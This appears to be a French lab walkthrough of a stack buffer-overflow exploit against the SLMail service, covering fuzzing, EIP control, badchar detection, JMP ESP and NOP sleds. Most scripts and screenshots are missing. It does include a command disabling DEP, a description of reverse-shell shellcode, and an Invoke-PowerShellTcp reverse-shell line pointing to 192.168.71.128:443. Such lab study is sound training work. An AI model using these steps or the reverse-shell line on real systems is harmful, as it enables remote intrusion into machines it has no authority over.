SLMail

Installation de l'environnement Buffer Overflow
  1. Téléchargez la machine Windows 7 Basic 32 bits :

  2. À l'intérieur de la machine, téléchargez le debugger :

  3. Une fois installé, exécutez la commande suivante dans le terminal :

bcdedit.exe /set {current} nx AlwaysOff
  1. Copiez ce script dans un fichier .py :

  2. Collez le script dans c:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

  1. Finalement on devra installer slmail :

Phase initiale de Fuzzing et prise de contrôle du registre EIP:

  • Dans l'Immunity Debugger, nous sélectionnons le SL mail :

  • Nous allons créer un script en Python qui automatise la découverte du nombre d'octets nécessaires pour provoquer un crash du programme.

Comme nous sommes sur Windows, nous utiliserons un outil de Metasploit.

Exemple avec 5000 caractères :

  • Le service a planté, mais ce qui nous intéresse, c'est la valeur EIP :

  • Avec le script suivant également de Metasploit, nous lui passons ceci, le EIP, et il nous calcule le nombre maximum de caractères de tampon possibles : /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb

  • Donc, une fois que nous connaissons le décalage (offset), le script suivant va injecter 4 caractères B pour voir si cela fonctionne ou non :

  • Nous voyons que le EIP correspond à la lettre B quatre fois (42424242) :

Allocation d'espace pour le Shellcode:

Maintenant, avec le script suivant, nous allons voir ce qui se passe si nous créons un débordement de tampon après EIP où tout ce contenu est stocké (sur la pile) :

Si nous examinons plus d'informations à gauche avec le suivi du vidage mémoire (follow in dump) :

Génération de Bytearrays et détection de badchars:

  • Nous utilisons la commande suivante pour créer un dossier de travail avec Mona sur le bureau :

  • Avec la commande suivante, les fichiers sont créés :

  • Pour transférer les fichiers, nous pouvons créer un serveur SMB avec la commande suivante :

  • Dans l'explorateur de fichiers, nous saisissons l'adresse IP et collons le fichier bytearray créé :

  • Maintenant, cette chaîne doit être collée dans le script (en ajoutant un 'b' à chaque ligne pour indiquer qu'elle est en mode octets) :

  • Voici le script Python :

  • Nous effectuons un follow in dump de l'ESP :

  • Là, nous pouvons voir les caractères indésirables (qu'il ne peut pas interpréter) :

Nous saisissons la commande suivante avec le numéro de l'ESP (précédé de 0x et la comparaison avec le bytearray.bion) pour voir quels sont les caractères qu'il n'interprète pas correctement :

  • Avec cette commande, nous indiquons de ne pas supprimer les caractères indésirables du fichier bytearray :

  • Nous le refaisons et il détecte de nouveaux caractères indésirables :

  • Et nous mettons à jour à nouveau le bytearray :

  • Si nous le refaisons, aucune erreur n'apparaît plus :

Recherche d'OpCodes pour accéder à l'ESP et charger notre Shellcode :

  • La commande suivante génère un code shell Windows x86, utilisant une connexion inversée TCP vers l'adresse IP 192.168.71.128 sur le port 443, avec un encodage shikata_ga_nai et excluant les badchars.

  • Maintenant, avec la commande !mona modules, nous allons rechercher un module sans protection dont la valeur est false :

  • Nous recherchons un jmp esp, qui se traduirait par "\xFF\xE4" :

  • Avec la commande suivante, nous devrions choisir l'un de ces modules sans protection et sans Bad char :

  • Dans ce cas, nous choisissons le dernier, qui est "0x5f4c4d13". Nous allons créer un point d'arrêt pour vérifier si le flux du programme passe correctement par là :

  • Avec ce script, nous parviendrons à changer l'EIP à celui qui nous intéresse :

  • Maintenant, notre EIP a été changé et il suffirait de faire un "step into" :

  • Maintenant, si nous faisons un suivi du dump de l'ESP, le code shell serait représenté :

Utilisation de NOPs, déplacements de la pile et interprétation du Shellcode pour obtenir une RCE (exécution de code à distance).

  • Il ne nous l'interprète pas :

  • Nous allons modifier le script en ajoutant ce NOP de la manière suivante :

  • Voici le script final :

  • Si nous le refaisons, il l'interprète parfaitement :

Modification du Shellcode pour contrôler la commande que vous souhaitez exécuter:

  • Téléchargez ce script et nommez-le PS.ps1

Ajoutez ceci à la fin du script : PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.71.128 -Port 443

  • Générez le code shell :

  • Voici le nouveau script :

Mis à jour

Ce contenu vous a-t-il été utile ?